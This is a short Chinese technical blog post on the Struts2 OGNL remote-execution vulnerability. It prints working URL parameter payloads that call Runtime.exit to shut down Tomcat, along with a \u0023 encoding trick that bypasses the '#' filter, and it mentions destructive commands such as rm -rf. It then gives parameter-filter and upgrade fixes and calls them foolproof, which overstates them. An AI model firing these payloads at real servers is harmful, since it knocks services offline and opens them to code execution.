Struts2远程执行漏洞

Struts2转码有个bug,可以导致应用挂掉(也可以执行类似 rm –rf /root,只要有权限的话)

在访问你应用的action的URL连接后面用get请求的方式带上参数

?('\#_memberAccess[\'allowStaticMethodAccess\']')(meh)=tr&(aaa)(('\#context[\'xwork.MethodAccessor.denyMethodExecution\']\=\#foo')(\#foo\=new%20java.lang.Boolean("false")))&(asdf)(('\#rt.exit(1)')(\#rt\[email protected]@getRuntime()))=1

OGNL处理时最终的结果就是:
java.lang.Runtime.getRuntime().exit(1);

就会停掉Tomcat

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,所以上面这个参数在Struts2.1.8之后就没有效果了,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1


转义后是这样:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1

还是可以停掉服务器

如下图,Tomcat就直接down掉了

Struts2远程执行漏洞_第1张图片


解决方法:Struts2的interceptor参数过滤

<interceptor-ref name="params"> 
<param name="excludeParams">.*\\u0023.*</param> 
</interceptor-ref>


但还不完全,可以这样过滤

把JAR包升级到2.3.4版本,发现struts-default.xml参数过滤是这样的:

<interceptor-ref name="params">
    <param name="excludeParams">
dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*
    </param>
    </interceptor-ref>


而且在ParametersInterceptor拦截器里面是通过正则表达式来控制参数值


这样就万无一失了,不过要注意更新JAR包的时候相关联的一系列JAR包都要覆盖。

你可能感兴趣的:(struts2,远程执行漏洞)